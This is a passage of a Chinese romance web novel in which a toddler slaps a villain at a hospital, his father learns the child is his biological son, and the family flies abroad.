这太有趣了,薛景灿瞬间生出了将小崽子一并带走的念头。 而这个念头刚冒出来,就被一个清脆响亮的巴掌打断。 “啪!”的一声,不光是薛景灿,郁明殊都愣了。 西奥多虽然仍旧没想起来!但他知道眼前的坏家伙在欺负他的宝贝爸爸!! 为了替爸报仇,小家伙不仅双腿微分做出类似扎马步的动作,出掌时还腿带腰腰带肘一整个腰马合一,抡圆了小胳膊,将两辈子吃奶的力气都使了出来! 要不是亲眼所见,郁明殊都很难相信,两岁半的小家伙能打出如此掷地有声的一巴掌。 巴掌声刚落,小家伙就举着汤姆猫同款又红又肿的小胖手,发出竭尽凶恶的奶音咆哮:“坏银肘开!!!” 作者有话要说: 西奥多:今天是英雄嘟! 第62章 薛景灿三岁时被乌鸦报复性喷粪,他便让人将乌鸦抓住然后亲手拔光羽毛、破开鸟喙,最后将报复他的乌鸦砸成肉泥。 当时陪在他身边的仆从都受不了,薛德茂却大加赞赏,认为孙子不似儿子那般优柔寡断妇人之仁,反倒是像他一样天生就更有血性,这才是成大事者。 所以薛景灿不仅天性残忍,这份残忍的特质还在后天得到了不断强化,在成长路上虐杀的小动物不知凡几。 他几乎形成了凌虐本能,尤其是对上反抗他的小东西时…… 虽然霍懿安特意留下人保护爸崽二人,但保镖的核心作用是安全防护和威慑警戒,除非对方先动手了,不然他们也不能无故出手伤人。 不过不能动手归不能动手,听着薛景灿在雇主面前胡言乱语,他们听着也恶心恼火,一身腱子肉都痒得很,早就在找机会收拾这家伙了。 西奥多出乎意料的果决出手,刚好打破了原本的僵持局面——薛景灿被打懵了,心中的阴狠藏都藏不住,下意识抬手反击。 薛景灿刚抬起手,左侧保镖就迅速将崽抱开了,并由右侧保镖矮身顶上,十分配合地接下了薛景灿的反击,也就顺理成章地获得了正当防卫的权利。 他直接压住薛景灿打向自己的手腕,反手一拧就将人死死扣到了墙上,并在从后方顶人压制的时候,故意挑了些痛却不容易留痕的位置暗中下手。 最终,在压制“持续反抗”的薛景灿的过程中,成功让其疼到哭爹喊娘连连求饶。 大块头保镖心中不屑,他还以为是什么狠角色,搞了半天也不过是个只敢欺负弱小的混蛋罢了。 一想到自家的宝贝狗儿子,他恨不能直接将薛景灿反剪到背后的双手折断,哪怕不能给他套上袋子,也想让他也好好叫上一叫! 这边保镖努力在正当防卫的边缘大鹏展翅,崽子也被转移到了郁明殊怀里,和薛景灿惨叫声同时响起的还有郁明殊的手机铃声。 保镖虽然不能轻易出手伤人,但还是第一时间将爸崽遇到的意外状况发送给了霍懿安。 霍懿安无法立即赶回来,只能远程遥控,让郁明殊先带崽离开这家以儿科出名的医院。 能被薛景灿精准找上门,起码说明患者信息已经被泄露了,他们没必要赌薛家的手能伸到什么程度。 思及此,霍懿安挂断电话,又十分顺理成章地骂了一旁的三舅一顿。 折腾了这么多年也没抢过薛家,虽然在养老板块将高端医疗做得还算不错,但他家崽子还不到三岁,也不能送去老年康复医院治病吧? 况且目前来看小家伙的问题较为复杂,身体没查出问题不代表真没问题,而精神方面不需要检查也知道不对劲,肯定和薛景灿脱离不了干系。 原本霍懿安并未带算这么早就将崽带回B国,但现在A市的情况实在让他无法放心就医。 即便还没查到崽子和薛景灿之间可能存在的联系,无法确定将崽带回B国是否会牵扯出更多事情,但涉及崽子的健康安全和精神问题,霍懿安现在无法相信除劳伦斯教授以外的人。 这边霍懿安喷完三舅就致电秘书申请航线,那边被外甥一口一个“废物”喷得体无完肤的三舅——霍云山却还懵着。 虽然霍云山同样是含着金汤匙出生的霍家少爷,但因是家中第三个男丁,一出生亲爹就大翻白眼评价“怎么还是这玩意儿!”,甚至差点被起名“霍来妹”,且因兄妹四人中他头脑天赋都是最差的,反倒早早练就了好心态。 毕竟从小到大,从父亲到大哥二哥,再到最受宠的小妹,全都是天才,作为没什么天赋的普通人经常做错被喷很正常,听多了也就习惯了,反倒还觉得多亏有家人时常“提醒”,不然他早赔得裤衩子都不剩了。 即便霍懿安是小辈,但霍懿安可是一岁就敢骑在他爹头上作威作福的魔星,天生神经发育异常根本不是什么正常人,别说骂他这个三舅了,三年前心情不好那次,霍家上下全被他喷了个遍。 所以霍云山不是被侄子喷懵了喷傻了,而是…… 这小子在说什么?孩子?哪来的孩子??而且电话那边的是谁??? 他这个三舅也算“认识”他二十几年了,就没见过这个人机外甥对谁流露出这么丰富的表情,而是听起来像是跟骂他的是同一件事,但语气却天差地别。 对他如寒叶飘零般冰冷无情,对着电话那边就一会儿关心孩子一会儿关心大人,他家机器人竟然会嘘寒问暖了!? 这事他妹知道吗???! 霍云山虽然能力一般,但想象能力却相当不俗,面上怔愣恍惚,脑中思绪狂转,分分钟想到了最为合理的解释——大外甥开窍了,但窍开在了离异带娃的女人身上。 再听霍懿安催秘书立即申请航线,显然是信不过他这边,要立即带女人孩子回B国治疗,这得是多认真啊…… OMG!!!! 霍懿安没等挂断电话就注意到了三舅犹如抽筋般的诡异表情,冷冷瞪了他一眼:“怎么了?” 霍云山的表情顿时更扭曲了:“……你这这这这、这………哪来的孩子??” 霍懿安闻言眉头一挑,倒是有点被问住了。 但他被问住的点并非是被人撞破关系,而是他后知后觉,自己竟然在三舅面前一点没遮掩他们的关系。 霍懿安比任何人都清楚明确,他和郁明殊是协议婚姻,这份协议婚姻只是为了领养西奥多,并且会在两三年后自动解除,也就没必要广而告之引起太多波澜,甚至包括霍家人。 所以他跟母亲反复强调过,不仅要隐藏和西奥多之间的领养关系,他和郁明殊的协议婚姻更是提都不要提。 霍云轻虽然时常看起来没谱,但在正事上一向尊重儿子的选择,所以哪怕她之前在霍家老宅各种套话,后面被亲爹亲哥询问的时候她也是随口敷衍了过去。 是以别说B国那边,就连霍家这些血脉至亲都对此一无所知。 从一开始,霍懿安压根没打算告诉他们,就等着领养关系彻底落实,就不留痕迹的和郁明殊解除婚姻关系。 但今天他听到薛景灿突然出现在爸崽面前就开始心绪异常,甚至忽略了身边还有个全霍家嘴巴最大的三舅霍云山,就这么直接将电话打给爸崽,还被对方看出端倪…… 这实在有失他一贯的行事水准。 但更令霍懿安不解的是,一想到他和郁明殊已婚有崽的事实被三舅发现,不日就会传得全家皆知,他竟然莫名感到相当强烈的……愉悦!? 疯了吗? 他不得不怀疑他那好不容易被引导正常的神经又二次扭曲了? 这怎么可能? 霍懿安一时间无法为自己的异常找到合理解释,自问三连后就暂时搁置了,毕竟当下最重要的就是回去见受惊的爸崽。 心里装满了事,霍懿安根本没听到霍云山含糊不清的“离异带娃喜当爹”询问,看都没再看三舅甩开长腿闪电般消失。 徒留霍云山一人懵上加懵:……大外甥这是默认了?! O!M!G!!! 既然都要带回B国,小妹那边估计也是知道的?大哥呢?二哥呢?老爹老娘呢??? ……等等! 霍懿安不仅是他唯一的妹妹生下的唯一外甥,还是唯一一个他不敢轻易招惹的小辈,于情于理他都该在没有得到明确信号前为其保密。 思及此,霍云山颇为隐忍复杂地长叹了一口气。 一边在心中不停默念“我得保密我得保密我得保密……”,一边暗叹他可真是个成熟稳重靠谱的好舅舅,虽然在一些事情上稍逊于其他舅舅,但在“善解甥意”方面就没人能比得上他,连他大哥都不行! 正这么想着,桌上的手机突然响起,霍云山拿起来一看正是大哥霍云逸的电话。 霍云山“啪”的一下接起,嘴皮一碰就是一句惯性的:“大哥,我得保密。” 霍云逸其实是想问弟弟,大外甥突然找他是有什么急事,但现在心里只剩一个缓慢浮出的:“?” 霍云山:“………………” * 另一边,医院。 被郁明殊抱在怀里的崽子别说俩爹的电话内容了,就连手疼撒娇的事都被他抛诸脑后。 西奥多全部的注意力,都集中在被保镖压制得惨叫不停的薛景灿身上。 弧度饱满的桃花眼微微眯起,满心都是大仇得报的喜悦,哼哼,欺负爸爸的坏人统统打飞! 而郁明殊一手抱崽一手拿电话,听到霍懿安的最新指令就立即行动起来。 崽子正高兴得手舞足蹈,恨不能拍手称庆,就被爸爸迅速抱离了现场。 崽:? “拔拔……”怎么这就走啦?他还没看够呢! 郁明殊一边接听着电话,一边对崽安抚性勾了勾唇,临挂断电话前,爸崽连带着保镖已经快步走到了停车场。 “好的你放心,我和嘟嘟都很好,我们马上就回酒店。” 挂断电话,郁明殊先俯身将小家伙安置进儿童座椅里,扣安全带的时候才注意到,崽子的睡衣下摆被打湿了一片。 因前一晚送来时穿的是深蓝色的真丝睡衣,染上水渍污渍都不容易被看出来,郁明殊直到这一刻凑近才发现洇湿了好大一片。 郁明殊第一反应是孩子尿床了,但位置不太对,而且他一路将崽抱过来,很清楚崽子的小屁股是干爽的,打湿的位置只有睡衣前侧下摆。 准确来说是右前侧……想到这里时,郁明殊正将鼻子贴近了嗅闻,几乎是在闻到血腥味的同时他想起了崽受伤的小手,正是当时打向薛景灿的那一只! 也许是前一晚太过忧心绝望,也许是嘟嘟醒来让他太高兴激动,郁明殊这会儿不仅鼻音明显,嗅觉也暂时被堵塞了。 加上崽子一直将小手捂在衣服下摆上,而医院又遍布消毒水气味,等郁明殊发现不对的时候,崽子已经流了不少血。 甚至郁明殊掀开睡衣下摆,发现垫在底下的睡裤和里面的小裤裤都被洇湿了。 等他翻开崽子的手心查看,只觉得眼前一黑。 虽然霍懿安让他马上带孩子回酒店,但嘟嘟的凝血本就有问题,现在不仅是流了这么多血,还因打薛景灿时太过用力,伤口又裂得更严重了。 郁明殊紧握双手,恨不能将指尖插入掌心代替嘟嘟受苦,同时也以此让自己更清醒些。 短暂平复后,他努力压下心中的慌乱重新抱起崽子,一边快步往电梯方向跑,一边轻声安抚:“别怕,爸爸这就带嘟嘟止血。” 西奥多也是才发现自己手手竟然流血了! 他一点没感觉到疼,准确来说是打薛景灿的时候疼了一下,但他以为是被震疼的,而且打得太用力,手直接震麻了,到现在小手仍红彤彤的,崽只能感觉到右手很热。 因为没感觉,也因为敏锐感知爸爸在强装镇定,相较于裂开流血的右手,崽更担心爸爸难过。 所以崽立即将小胖脸埋进郁明殊颈侧,夹着小奶音软软糯糯撒娇:“嘟嘟不怕,有拔拔在,嘟嘟习么时候都不怕嘟~” 西奥多本是想安抚爸爸,但郁明殊却听得鼻尖发酸心头发哽。 他忍不住自责,这么好的嘟嘟,为什么他就照顾不好呢? 不仅照顾不好,反倒一直让小家伙受伤…… 嘟嘟受伤是因为担心他跌倒,嘟嘟晕倒是因为听他们提到了薛景灿,嘟嘟伤口裂开是因为要站在他身前保护…… 郁明殊久经命运磋磨的脆弱身心,之前能那么快生出坚固“外壳”完全是因为从天而降的小天使崽崽,和随着崽子一并出现的大天使人机。 而此刻,不自觉落入情绪泥沼的郁明殊再次自我怀疑起来……收养嘟嘟是不是他太贪心了? 虽然霍懿安曾明确过嘟嘟是个没有身份的小黑户,血液信息也一早和现有的DNA数据库对比过了,明确嘟嘟就是个无人认领的小孤儿。 但郁明殊内心深处其实也是藏了阴暗一角,那便是他希望嘟嘟已经入库的DNA信息,永远不要被匹配成功。 永远不要有人将嘟嘟从他身边抢走,他自私地希望嘟嘟能永远属于他。 每每想起,郁明殊都会暗唾自己的无耻,并继续如履薄冰地享受这份珍贵的爱意。 可时至今日,虽然嘟嘟仍旧很爱他,他对嘟嘟的爱更是只增不减,但他不得不承认自己不是一个合格的父亲。 郁明殊甚至生出了一个可怕的念头——要不要将嘟嘟交给更适合的人抚养? 或者他不该盲目占有,而是应该竭尽所能替嘟嘟找回亲生父母…… 可一想到这些,郁明殊的心脏就像被一只无形的大掌紧紧攥住,痛得他精神恍惚,仿佛灵魂都要被人从身体里抽拽出来一般。 “孩子爸爸?” 郁明殊立即回神,打起十二万分精神:“是,您说!” 急诊科医生也是才注意眼前的口罩男人不仅过分年轻,过分漂亮的眉眼还有些眼熟,但作为急诊科医生他已经连上二十小时班,脑子累傻了顾不上想太多,只针对孩子的伤情皱眉问道:“你家孩子凝血功能有什么问题?” 郁明殊:“检查结果还没出来,现在只知道凝血差一点。” 医生已经换了几块纱布了,但血还是止不住,因着郁明殊抱孩子冲进来后第一时间说明情况,急诊医生是知道这孩子已经流了不少血,就提醒道:“这血不好止,可能要输血,你最好提前有个准备。” 郁明殊听得一头雾水:“……什么准备?” 医生又换了一块止血纱布:“全市缺血有一阵子了,你家孩子这种情况不算紧急,达不到医院现在的输血标准,你们可以选择止血后回家调养。” “但如果还是想输血的话家属就立即去血站献血,当场通过测试我这边立马就能给孩子输血。” 简而言之医院用血紧张,孩子伤情又达不到必须输血的标准,想要获得最佳治疗及时输血,就需要家长立即去献血拿名额。 郁明殊对这方面的事情完全不了解,没想到还会有这种问题,刚好这时候霍懿安的电话再次打了过来。 郁明殊下意识接起电话放到耳边,脑中还飞速转着捐血输血的事,接通电话的瞬间忽地想到了更简单的解决办法。 是以在电话另一端的霍懿安问出“嘟嘟怎么样了?”的同时,郁明殊向医生征求道:“可以直接用我的吗?我和孩子都是O型血。” 第63章 郁明殊的想法很简单,他想给嘟嘟提供最佳治疗,又不想和孩子分离单独跑一趟医院指定的血站。 而他从小就知道自己是O型血,即便自己和崽是不同血型,他作为“万能献血者”,他的血也可以直接输给嘟嘟,现在他们爸崽血型相同,岂不是更可以了? 没曾想,话一出口就遭到电话里霍懿安和眼前医生的双重否定。 “不可以!你的血不能给西奥多用!”霍懿安突然拔高的声量大得惊人,以至于郁明殊未能听清医生说了什么。 他忍着耳膜震痛先小声对霍懿安说“你等一下”,然后对医生歉意一笑:“不好意思,您刚刚说什么?” 先回答他的却是电话另一端的霍懿安,男人再次沉声强调:“你不能给西奥多输血。” 霍懿安的状态实在太反常,就算郁明殊这会儿满脑子都是如何给崽输血,却也还是被霍懿安引走了注意。 医生也紧随其后说道:“不可以直接输血。” 两个声音几乎同时传入了郁明殊脑中,两股声波能量彼此交缠打结,郁明殊怔了一瞬,眼前的一切仿佛都随之静止。 虽然医生说的是“不可以直接输血”,郁明殊却被霍懿安的反常牵动思绪,自动将医生的话理解为他之前就知道的“直系亲属之间不可以直接输血”。 可惜他和嘟嘟并不是这样的关系。 郁明殊明明极为肯定这一点,但不知为什么,此刻的他莫名很在意霍懿安那一句几乎是喊出来的阻拦。 难不成……他其实是和嘟嘟有着血缘关系的? 郁明殊突然福至心灵,想起了最初和孩子结识,就是张秘书带孩子来找他做DNA鉴定。 而鉴定结果……因他不久之后就解除了小亲人的误会,也就一直理所当然认定他和嘟嘟没有血缘关系,就再也没关注过了…… 仔细想想也的确有些奇怪,一开始他以为霍懿安和崽子的出现,是源自他未知的血缘亲人,之后不仅明确并非如此,甚至连崽和霍懿安之间都没有关系。 霍懿安为什么会突然找上他,并一直帮助他? 只是因为随手捡了一个长得既像自己又像他的小孩,所以产生了联系,并为了认领养子和他协议结婚? 乍一听似乎也说得通,但仔细琢磨又觉得每一步都有些牵强。 此前的郁明殊一直被裹挟在命运的洪流中,不论是源自养父母贪婪埋下的恶果,还是被大人物觊觎磋磨,亦或是霍懿安的出手相帮。 一路的起起伏伏,好也罢坏也罢,郁明殊都在被推着走。 他一直没有机会停下来,也就无暇去思考这起伏波折中的每一步…… 不过下一刻,他又迅速从恍惚中清醒过来,他告诉自己别太想当然了。 郁明殊怀疑自己是太想彻底拥有嘟嘟了,才会在精神剧烈波动之际产生臆想。 他眉心微蹙,有些不自在地抿了抿唇:“……可我们不是直系亲属。” 这次电话另一端的霍懿安没出声,医生刚好暂停了手中的细致操作,稳着手指为崽继续按压止血,闻言有些莫名地说道:“什么直系不直系?” 谁问这个了? 高强度连轴转的工作本就让医生时刻处于一点就爆的状态,哪怕一直努力压着心火,也很难装出耐心十足的模样,一开口的语气就有点不太好。 但一抬眼对上小患者家属平添一抹易碎的精致眉眼,医生突然就自责起来:“您误会了,现在除了极端特殊情况,是不是都不行,谁的血都不能直接输的。” 说完还颇有耐心地为郁明殊科普了一番,任何医院都不会允许个人直接给患者输血,哪怕O型血是万能供血者,抽取的血液也要经过一整套严格的专业程序进行筛查检测,确认没问题才能给患者使用。 没曾想,他耐心解释完,眼前的患者家属似乎更难过了。 医生:……? 他语气态度还不够好吗? 医生:“你们……还要不要输血?” 电话里,静默半晌的霍懿安再度开口:“你不用担心,我这边会处理,马上就可以给嘟嘟输血。” 郁明殊先是低低应了声,又有些自嘲地扯了扯唇角。 他真是异想天开,果然是他在臆想,竟然觉得霍懿安的高声提醒是因直系亲属间不能输血……他在想什么呢?怎么会连这么基础的常识都…… 现在的他能成为嘟嘟的养父,已经是从前想都不敢想的幸福生活,他该知足,而不是像疯子一样臆想一些根本不存在的事情。 虽然心里这般告诫自己,郁明殊还是难掩低落,一直到给崽输上血,郁明殊还是有些打不起精神。 崽子一开始止血的时候忙于装没事儿,其实按压的时候多少还是有点疼的,但为了不让爸爸难过,西奥多装得相当努力、投入。 以至于爸爸、医生和电话里得爹地进行“三方会谈”的时候,他本就有些缺乏常识的小脑花全程掉线。 不过小家伙记性很好,靠在爸爸怀里输血的时候,他又将大人们的每一句话都复盘了一遍。 崽子正试图从中分析出爸爸情绪急转直下的原因时,郁明殊突然开口:“嘟嘟……” 崽唰的仰起小脑袋:“嗯!” 郁明殊见状笑了笑,只不过这次的笑容看起来讪讪的,他迟疑一瞬继续问道:“嘟嘟还记得第一次被张叔叔带来找爸爸的原因吗?” 崽子歪了歪小脑袋:“原鹰?” 找爸爸需要什么原因?当然是因为宝想见爸爸了啊! 郁明殊点了点头:“嘟嘟怎么会突然找到我呢?我记得张秘书当时因为我们长得像,误以为我是嘟嘟的爸爸……” 虽然他觉得自己一定是疯了,才会抓着这件事不放,甚至试图从崽身上挖掘出一些证据,但郁明殊实在太想问清楚了,哪怕这一丝可能都是源自他的臆想。 “不系误会,拔拔就系嘟嘟拔拔!”西奥多突然大喊出声。 然而前一秒还理直气壮的崽,却在发出高声呐喊后突然小嘴一瘪,眼圈瞬间红了。 西奥多委屈极了,他是爸爸的宝宝怎么会认不出爸爸呢!可是爹地说他们不是他真正的爸爸爹地…… 崽子心虚过、坚定过、迟疑过、放弃思考过、自我安慰过……虽然他最后决定要把愿意认他的爸爸当爸爸,把不愿意认他的爹地当大坏蛋臭叔叔。 但他其实也知道这样仍旧不太对,他们都不记得他了,甚至奶奶也不是他的奶奶。 可从噩梦中醒来,他又觉得爸爸爹地就是他的爸爸爹地,他说不清楚是因为什么……而这般反复无常的判断,对一个还不足三岁的幼崽来说实在太过于煎熬。 尤其是面对爸爸一无所知的询问时,崽子即便无法理清仍旧想坚定自己的直觉——宝宝是不会找错爸爸的! 崽子瘪着小嘴忍了两秒,保持着仰头姿势喷出两道泪来:“呜哇!!!” “拔拔呜——拔拔就系宝呜呜呜拔拔——!!!!” 崽子一哭,郁明殊的眼泪也抑制不住。 但见小家伙急着扭动身体要抱他的脖子,郁明殊还是快速冷静下来,按住小家伙乱动的小手:“嘟嘟坐好,把血输完再抱爸爸。” 崽闻言小嘴变得更扁了,但还是扭正小身体乖乖在郁明殊腿上坐好,上半身软软靠上郁明殊胸口,一边委屈垂泪一边哑着小奶音强调:“拔拔、就系、宝嘟、拔拔……” 郁明殊一手按着崽子输血的手,一手帮他擦眼泪:“爸爸知道,嘟嘟是爸爸的宝宝对不对?” 崽子听着很对,但又敏锐地意识到不对。 之前爸爸说要领养他的时候也是这么说的,但他指的是他是爸爸的亲宝宝! 崽子强调:“亲宝宝!” 郁明殊被崽子可爱到了,破涕为笑并在崽子的小胖脸上轻轻亲了一口。 崽第一次对爸爸的亲亲感到不满,准确来说是对一词多义的中文感到不满。 “no kiss!”崽子突然福至心灵,想起了此前爸爸和医生的对话,他立即睁大双眸,仰着小脑袋认真对爸爸说道:“直系亲属!宝是拔拔嘟亲宝宝!!” 这次小家伙说得再清楚不过了,郁明殊却听得连视线都变得模糊起来。 “……什么?”他好似没有听清般向崽确认。 崽子一手输血一手受伤,两只手现在都不能动,就只能转动灵活的小脖子,一会儿向前用下巴点向爸爸,一会后缩,用小下巴指向自己:“拔拔和宝!系!直系亲属!” 这是郁明殊最是梦寐以求的,但却听得他脑袋嗡一下:“……所以嘟嘟第一次、来找、爸爸,是…就是……来跟爸爸、相认?” 崽子猛猛点头。 郁明殊按着眉心缓了片刻:“……这、怎么可能?” 是不是他被薛景灿刺激到了,目前精神失常不自知,才会幻想出这种对话。 可他明明能感觉到自己戳破的掌心很痛,怀中的嘟嘟也很真实,前面的一切他都能清晰回忆起来。 甚至能想起不久前他还十分高兴的跟霍懿安分享,他和嘟嘟不仅长得像,有着类似的轻度凝血障碍,还都是O型血…… 十五分钟后,第一时间赶过来替爸崽解决意外状况的张秘书,在处理完输血问题后,又把之前的病房退掉,为崽办好了出院手续。 见小家伙乖乖靠在郁明殊怀里,安静地输着血,张秘书因霍懿安此前催命般的命令而高悬的心脏总算落了回去。 西奥多虽然流了不少血,但失血情况不算严重,这次输血准确来说是输新鲜冰冻血浆,目的是补充凝血因子和血浆蛋白,这样崽子的伤口才能更好更快地止住血。 张秘书将顺路取回的凝血检测报告递给了郁明殊,未等他开口转述医生的分析,郁明殊先一步问道:“张秘书,我和嘟嘟之前的DNA鉴定结果还没出来吗?” 虽是疑问,但郁明殊却问得相当言之凿凿,仿佛早已清楚其中真相。 而郁明殊怀中的崽子,也鼓起小脸一本正经奶声奶气:“窝们DNA煎饼果果……还米出来吗!” 张秘书仿佛突然成了被爸崽先后质问的嫌疑犯,还是证据确凿不容抵赖的那种。 其实他也一直不懂,为什么郁明殊似乎并不知道爸崽间的亲子关系,但老板不让说他就只能当不知道,但现在郁明殊好像又突然知道了…… 张秘书脑子都快转出火星子了,最终选择性答道:“其实…当时你们采完血,霍总就通知我取消鉴定了,当然,现在您如果想要鉴定结果,我可以立即通知那边重新启动鉴定,DNA血样至少会保留三个月。” 这是张秘书能想到的最佳答案,毕竟霍懿安让他取消鉴定是事实,他没有撒谎。 而巧妙遮掩掉曾经拿到的鉴定结果,不仅可以帮霍总减少麻烦,也能将他这个隐瞒爸崽关系的帮凶摘出来。 而且他虽然不知道郁明殊是怎么意识到不对的,但这层窗户纸实在太好戳破了,他也不想再从中作梗阻碍爸崽真正相认,所以他愿意帮爸崽重新拿一份鉴定报告。 再一次成功稳住局面,张秘书简直想为自己的才思敏捷点赞鼓掌,没曾想,他圆滑的话音刚落,就被身后突然响起的低沉男音给卖了—— “不用再鉴定,张秘书对你说谎了,上次的鉴定结果…你们的确是生物学上的亲生父子。” 霍懿安神色暗沉,郁明殊愕然抬头,怀中崽兴奋欢呼,张秘书竖起中指…………推了推鼻梁上的眼镜。 作者有话要说: 张秘书:赶紧离芬![愤怒] 第64章 “呜~拔拔!” 崽子始终觉得爸爸爹地即便不记得他了,但他们也依旧是他的爸爸爹地,可因着天然具备足够敏锐的感知力,他也清楚现在和从前的爸爸爹地大有不同,他多少是有点心虚的。 西奥多一直不敢往这方面深想,因为很清楚他是无法承受那么残忍的真相的,结果只能有一个,就是他找到了爸爸爹地。 哪怕之前被霍懿安直接戳破幻想,但他也可以倔强地选择不完全相信,并将其扭曲为两个部分,爹地不愿意认他他也不要认爹地,他只要宝贝爸爸还爱他就好。 虽然每每想起就有点难过,但他不是个贪心的宝宝。 所以哪怕亲生变领养,哪怕爹地成叔叔,只要能留在他们身边,只要能每天跟爸爸贴贴,只要爸爸一如既往爱他就好。 他不仅不是一个贪心的宝宝,他还是全世界最乖的宝宝。 而这一刻,虽然西奥多还有很多无法理解的事情,但得知自己和爸爸通过了亲子鉴定,确认他们就是亲生父子,他就是全世界最幸福的宝宝! 西奥多喜极而泣的泪水像两条宽面一般落下,一双小胳膊早早被郁明殊箍住了无法乱动,他就激动地蹬动一双小短腿。 “拔拔拔拔!!!” 没等郁明殊反应过来,神色复杂的霍懿安已经快步走近爸崽,就这么被崽子一双短胖有力的小腿蹬了个正着。 要不是他反应够快,及时侧身用胯部抗下全部伤害,险些就再也不需要为勃|起抑制剂烦心了。 不过不论这脚是否正中靶心,当下不论是爸崽还是霍懿安这个受害者都无暇顾及了。 郁明殊被崽子喜极而泣的泪水打湿了领口,人清醒过来泪也无法自抑地涌了出来。 这真不是梦吗?他望着怀中刚刚获知的亲生崽,只觉得即便是梦也好,只要让他永远都不要醒来。 虽是喜极而泣,但在霍懿安看起来爸崽依旧是抱头痛哭的状态,只不过不同于最初的莫名其妙、领养时的酸涩闷涨,以及不久前崽子噩梦初醒时险些受二心驱使将爸崽紧拥入怀……此刻的他,人生第一次感受到了什么叫心疼悔愧。 虽然他仍旧认为西奥多是平行世界的“郁明殊”和“霍懿安”生下的孩子,即便与他们存在所谓的血缘关系,但西奥多并非他们真正的孩子,他们之间真正的关系是养父子。 但一再受情感左右的郁明殊和完全理智的他是截然不同的,郁明殊不在乎这份血缘关系到底有多少含金量,只要是真正存在的切实羁绊。 不论因何产生,他都照单全收。 郁明殊太渴望爱了,连那么糟糕的养父母都能将他伤到体无完肤才肯离开,更别说对于全身心爱他,恨不能时刻与他贴贴抱抱的西奥多了…… 而对于“失去”双亲的小幼崽来说,现在郁明殊就是他最重要的亲人。 霍懿安主观上无法理解,客观上还是可以试图分析的。 而主观上他并不存在决策错误,重来一次他还是会选择隐藏爸崽之间的血缘鉴定结果。 毕竟那时候他对郁明殊还没什么信任可言,就算到了现在他仍旧认为,以领养关系组建家庭是最安全稳妥的做法,他没什么可后悔的。 但怪异的是,客观上他的确感到“后悔”了。 明明是陌生的情绪,却被他精准分辨,大概是因为此刻他心中只有一个念头,如果他早些告诉他们,此刻的爸崽是不是就不会抱头痛哭,而是围在他身边叽喳控诉薛景灿的下作无耻? 他本以为他迫不及待赶回来,面对的会是如此场景…… 往日见到郁明殊变躁动不安的心口,此刻像被什么湿冷的东西贴上,凉意一点点往下渗,从里到外,又麻又闷。 霍懿安将手指攥得不剩一丝血色,最后还是面无表情地定在原地,一边听着爸崽催人泪下的哭声,一边感受着不断收紧、发寒乃至发麻的心口,冷厉长眸逐渐失去焦点。 * 跨国航线的申请较为麻烦,正常要提前几天申请,但霍懿安一早就颇有先见之明申请了跨国长期转场航线。 在长期航线的备案期间,最快提前两小时就能快速激活使用权限。 几乎是崽子这边输完血,一家三口就直奔机场。 而本就好得跟一个人似的爸崽,在经历抱头痛哭的相认后,更是彻底成了眼中只有彼此的连体婴。 没错,霍懿安在上飞机前一共看了郁明殊一千七百八十六次,郁明殊一次都没有抬眸回应他,连一个眼神都没有,更别说言语了。 本就话痨的崽子,输血后更是仿佛有了一身使不完的牛劲,高频开合的小嘴巴几乎叭叭出残影。 一开始霍懿安听多了还有些心烦,等上了飞机,郁明殊直接抱崽进了单独的房间里,霍懿安这下再也赖不到废话崽子身上了。 所以他黑着脸转向一旁猛敲键盘表示自己很忙的秘书张帅:“你在敲什么这么吵?” 张秘书:“。” 张秘书先想了想上个月的巨额奖金,又仔细回忆了一番不久前狗老板舔着个大脸往上凑,结果郁明殊直接转开头当没看到他的精彩画面。 抬眼时已经恢复了金牌秘书应有的素质,他微笑着将身前的屏幕转向霍懿安:“郁先生的广告已经上线了,反响非常火爆……” 霍懿安看到屏幕里的郁明殊,就瞬间自动进入无人之境,完全听不到秘书后面又说了些什么。 并且因前一晚一直陪着郁明殊守崽,他连续三十小时一点没睡,霍懿安将剪辑后的完整版广告连续放到第三遍时,眼皮就开始打架。 即便中途想起他最初急催张秘书给郁明殊安排广告,是为了做对照实验,现在正是检验郁明殊“安眠药精”身份的最佳时刻。 但他还是没能坚持住,几乎是一呼一吸间人就失去了意识,陷入了黑沉的睡眠中。 霍懿安不仅坐着睡着,还一睡就是近七个小时,虽然私人飞机上的定制座椅舒适度极佳,但这么连坐七小时,霍懿安刚醒来时不仅浑身酸胀,随便一动各个骨关节就咯吱响个不停。 他先是注意到震动个不停的手机,刚一解锁就弹出了一连串消息。 霍懿安打眼扫过去,一二三四五六七八九十……列表前排全是给他发消息的霍家亲戚,甚至连他九十岁的外公外婆都相继发来了语音消息。 其中当属三舅家正上小学的小孙子,也就是他的小表侄最为直接—— 【表叔表叔!他们说你找了个离婚带娃的喜当爹啦!~】 【太好了耶!我终于不是家里最小的啦!】 【表叔表叔我能跟让你喜当爹的“娃”视频一下吗?】 【对啦!爷爷让爸爸、爸爸让妈妈、妈妈让哥哥、哥哥让我保密,所以你千万不要告诉他们我来找你问了喔!】 霍懿安:“………………” 强忍着将姓霍的都批量拉黑的冲动,霍懿安最终只是一键关闭了聊天软件,并快速打开了某几个以前从来不用,最近使用频率暴增的社交媒体软件。 然而将几个常用软件翻了个遍,他都没看到一条关于郁明殊具备安眠药效果的评价。 霍懿安没看到还不算,甚至还立即亲手做了一个检索小程序,甚至花了不少钱开通权限,只为了能够将相关言论全部筛一遍。 而检索出来的结果,绝大部分都是对郁明殊外表五花八门的赞叹,还有少部分是对郁明殊肆意表达龌龊觊觎。 前者霍懿安还能勉强忍受,虽然很多人的用词都太过夸张,但郁明殊担得起一切盛赞。 不过后者……霍懿安直接将详细的后台数据导出,直接打包发给了张秘书:【全部、立即、起诉】 张秘书措不及防直面老板冲冠一怒为蓝颜,没忍住脱口而出:“神经病啊!” 之后张秘书用半小时向霍懿安解释,诸如“好想在郁明殊的锁骨上滑滑梯”、“想给郁明殊当狗汪汪汪”、“太米了简直是人间极品我一整个暴舔!!”、“你们别吵了,殊殊宝贝在我床上呢~”……全都是一种另类夸赞,并非是什么龌龊觊觎,只是网友们闹着玩呢。 霍懿安脸依旧很黑:“我不觉得好玩。” 张秘书:“……即便如此,如果因为这个起诉,肯定会为郁先生带来不好的影响。” 霍懿安静默了好半晌,最后勉强将注意力放回安眠药反馈上,反复确认全网无人共鸣后,他仍旧不死心用快捷登陆注册了一个账号。 顶着初始的momo头像和ID直接发问:【没人觉得郁明殊的广告很催眠吗?】 他已经用小程序筛了一遍,清楚有这样意识的人非常少,所以他必须增加提问的曝光量,让更多人看到。 之前虽没亲自动手砸钱,但大致流程他也看熟了,动动手指就给自己买上了热点前排。 